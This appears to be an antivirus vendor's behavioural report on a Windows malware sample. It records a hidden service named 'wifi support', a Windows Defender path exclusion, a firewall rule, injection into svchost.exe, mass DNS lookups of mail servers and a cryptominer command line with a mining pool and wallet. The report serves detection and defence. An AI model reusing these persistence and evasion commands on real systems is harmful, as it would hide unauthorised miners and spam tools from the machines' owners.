Technical Information
To ensure autorun and distribution
Creates the following services
- [<HKLM>\System\CurrentControlSet\Services\wwiddbcs] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\wwiddbcs] 'ImagePath' = '%WINDIR%\SysWOW64\wwiddbcs\hjekdqa.exe /d"<Full path to file>"'
- [<HKLM>\SYSTEM\CurrentControlSet\services\wwiddbcs] 'ImagePath' = '%WINDIR%\SysWOW64\wwiddbcs\hjekdqa.exe'
Malicious functions
To complicate detection of its presence in the operating system,
adds antivirus exclusion with following registry keys:
- [<HKLM>\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths] '%WINDIR%\SysWOW64\wwiddbcs' = '00000000'
Executes the following
- '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul
Injects code into
the following system processes:
- %WINDIR%\syswow64\svchost.exe
Modifies file system
Creates the following files
- %TEMP%\hjekdqa.exe
- %WINDIR%\syswow64\config\systemprofile:.repos
Moves the following files
- from %TEMP%\hjekdqa.exe to %WINDIR%\syswow64\wwiddbcs\hjekdqa.exe
Deletes itself.
Network activity
Connects to
- 'mt##.##0.yahoodns.net':25
TCP
HTTP GET requests
- http://www.google.com/
UDP
- DNS ASK mi##########m.mail.protection.outlook.com
- DNS ASK ya##o.it
- DNS ASK wh##y.com
- DNS ASK sc###os.com.ar
- DNS ASK ma##.#carlos.com.ar
- DNS ASK sm##.wanadoo.fr
- DNS ASK ho##ail.fr
- DNS ASK al###.cc.tut.fi
- DNS ASK wh#i.de
- DNS ASK du##.co.th
- DNS ASK ho##ail.com
- DNS ASK ho#########.olc.protection.outlook.com
- DNS ASK as####utilities.com
- DNS ASK mx##.##stmailserver.com
- DNS ASK wh#.#awga.us
- DNS ASK pd###ons.com
- DNS ASK sp#######sin1.scaleengine.net
- DNS ASK ya###.com.ar
- DNS ASK ma##.whgth.de
- DNS ASK mx.##.#topenworld.com
- DNS ASK ma##.##ertravel.com.ar
- DNS ASK jt#.com
- DNS ASK alt2.aspmx.l.google.com
- DNS ASK ko####.imatra.fi
- DNS ASK ve###tech.com
- DNS ASK bt###nworld.com
- DNS ASK ky####ri.hkkk.fi
- DNS ASK ma##.whhi.de
- DNS ASK mx#.#bchk.net
- DNS ASK ma##.#ieksamaki.fi
- DNS ASK te####nica.com.ar
- DNS ASK ma#####.telefonica.com.ar
- DNS ASK go##le.ca
- DNS ASK wh##h.de
- DNS ASK po#i.fi
- DNS ASK mx#.pori.fi
- DNS ASK wh#####ndation.co.uk
- DNS ASK se###r.gob.mx
- DNS ASK sa###rgo.com
- DNS ASK le####i.cc.tut.fi
- DNS ASK pa####ia.ton.tut.fi
- DNS ASK as#s.cl
- DNS ASK ip####9.dial.tpo.fi
- DNS ASK ty###enter.fi
- DNS ASK as##.com
- DNS ASK su##eu.fi
- DNS ASK mx#.##il.ovh.net
- DNS ASK in######ll.juliabue.com.ar
- DNS ASK as##.asso.fr
- DNS ASK su##post.dk
- DNS ASK fp##.mail.dk
- DNS ASK dl##.netikka.fi
- DNS ASK as####cure.co.uk
- DNS ASK ds######w2le0.dial.inet.fi
- DNS ASK as###curity.com
- DNS ASK as###cure.com
- DNS ASK ma##.surfeu.fi
- DNS ASK ov####avel.com.ar
- DNS ASK as###eneca.com
- DNS ASK as###phome.dk
- DNS ASK po####.astrum.wroc.pl
- DNS ASK sc####unkies.com
- DNS ASK wa##doo.fr
- DNS ASK sm####n.orange.fr
- DNS ASK li###aters.com
- DNS ASK mx#######601.gslb.pphosted.com
- DNS ASK ha####a.cs.tut.fi
- DNS ASK ma##s.my
- DNS ASK as###m.wroc.pl
- DNS ASK mx#.###.#ailpod9-cph3.one.com
- DNS ASK ti##ali.it
- DNS ASK et###.#ail.tiscali.it
- DNS ASK as###pnet.dk
- DNS ASK mx#.###.#ailpod6-cph3.one.com
- DNS ASK cc.#ut.fi
- DNS ASK mx#######501.gslb.pphosted.com
- DNS ASK am###trade.com
- DNS ASK ju###bue.com.ar
- DNS ASK re###x.inet.fi
- DNS ASK sr#.gov.ar
- DNS ASK vi####l.finland.fi
- DNS ASK ya###.com.au
- DNS ASK li###.sunysb.edu
- DNS ASK fa####um-online.de
- DNS ASK ya###.com.br
- DNS ASK ti###pink.co.uk
- DNS ASK mx######91d01.pphosted.com
- DNS ASK fa###elden.de
- DNS ASK me##rex.fi
- DNS ASK mx.##deotron.ca
- DNS ASK fa###ausch.de
- DNS ASK ma##.#arbrausch.de
- DNS ASK ti#####rformance.com
- DNS ASK ma##.###erperformance.com
- DNS ASK li#e.dk
- DNS ASK eu#.###.#rotection.outlook.com
- DNS ASK vi###tron.qc.ca
- DNS ASK as###lling.com
- DNS ASK me##.uwasa.fi
- DNS ASK na#.###.#rotection.outlook.com
- DNS ASK 19#.###.#11.95.dnsbl.sorbs.net
- DNS ASK ud##.edu
- DNS ASK 19#.###.#11.95.bl.spamcop.net
- DNS ASK aspmx.l.google.com
- DNS ASK 19#.###.#11.95.zen.spamhaus.org
- DNS ASK be###outh.com
- DNS ASK se##.edu
- DNS ASK fa###orm.com
- DNS ASK 19#.###.##1.95.sbl-xbl.spamhaus.org
- DNS ASK ao#.com
- DNS ASK mx####.##il.gm0.yahoodns.net
- DNS ASK 19#.###.#11.95.cbl.abuseat.org
- DNS ASK ya##o.com
- DNS ASK mt##.##0.yahoodns.net
- DNS ASK wi###wslive.com
- DNS ASK 19#.###.211.95.in-addr.arpa
- DNS ASK mi####.bittubeapp.com
- DNS ASK ds######w4gd9.dial.inet.fi
- DNS ASK pe###.com.pl
- DNS ASK ye####.ucdavis.edu
- DNS ASK ma##.#ylkonmaki.fi
- DNS ASK ad###t.com.uy
- DNS ASK mx#####et.adinet.com.uy
- DNS ASK re######as.grupos.com.br
- DNS ASK ya##o.es
- DNS ASK mx###.##il.am0.yahoodns.net
- DNS ASK vr###w.oulu.fi
- DNS ASK py###nmaki.fi
- DNS ASK google.com
- DNS ASK ma##.####zdelinterior.com.ar
- DNS ASK ya##o.fr
- DNS ASK te####i.helsinki.fi
- DNS ASK kp###.inet.fi
- DNS ASK mt#.inet.fi
- DNS ASK ac##uet.com
- DNS ASK ya##o.co.in
- DNS ASK la#####linterior.com.ar
- DNS ASK ya###.com.mx
- DNS ASK mx#####.#ail.gm0.yahoodns.net
- DNS ASK ma##.##gerpink.co.uk
- DNS ASK fa###kala.com
- DNS ASK ym##l.com
- DNS ASK tv#.fi
- DNS ASK em###.uophx.edu
- DNS ASK cm###tiot.fi
- DNS ASK fb##.org
- DNS ASK fa######nternational.com
- DNS ASK ma##.htk.fi
- DNS ASK am##tum.fi
- DNS ASK ai###ance.fr
- DNS ASK mx#.###l.c3s2.iphmx.com
- DNS ASK ds######w3oe6.dial.inet.fi
- DNS ASK li#e.ca
- DNS ASK op####s.jamsa.fi
- DNS ASK me##ovan.fi
- DNS ASK mx#######b02.gslb.pphosted.com
- DNS ASK mx##.#ectur.gob.mx
- DNS ASK ay#####caladehenares.es
Miscellaneous
Creates and executes the following
- '%WINDIR%\syswow64\wwiddbcs\hjekdqa.exe' /d"<Full path to file>"
- '%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\wwiddbcs\' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\hjekdqa.exe" %WINDIR%\SysWOW64\wwiddbcs\' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' create wwiddbcs binPath= "%WINDIR%\SysWOW64\wwiddbcs\hjekdqa.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' description wwiddbcs "wifi internet conection"' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' start wwiddbcs' (with hidden window)
- '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul' (with hidden window)
Executes the following
- '%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\wwiddbcs\
- '%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\hjekdqa.exe" %WINDIR%\SysWOW64\wwiddbcs\
- '%WINDIR%\syswow64\sc.exe' create wwiddbcs binPath= "%WINDIR%\SysWOW64\wwiddbcs\hjekdqa.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"
- '%WINDIR%\syswow64\sc.exe' description wwiddbcs "wifi internet conection"
- '%WINDIR%\syswow64\sc.exe' start wwiddbcs
- '%WINDIR%\syswow64\svchost.exe'
- '%WINDIR%\syswow64\svchost.exe' --algo=cn-heavy/tube -o mining.bittubeapp.com:13333 -u bs3yF6V9xnLZcVuHhV6W19JR6Ze5F6M26CDujJeY4mkkQ3ZsCiyenVujf2DkwFXaoL3rb8rvtSseFVvTsDPSJt482P4jGtDmN.60000 -p x -k
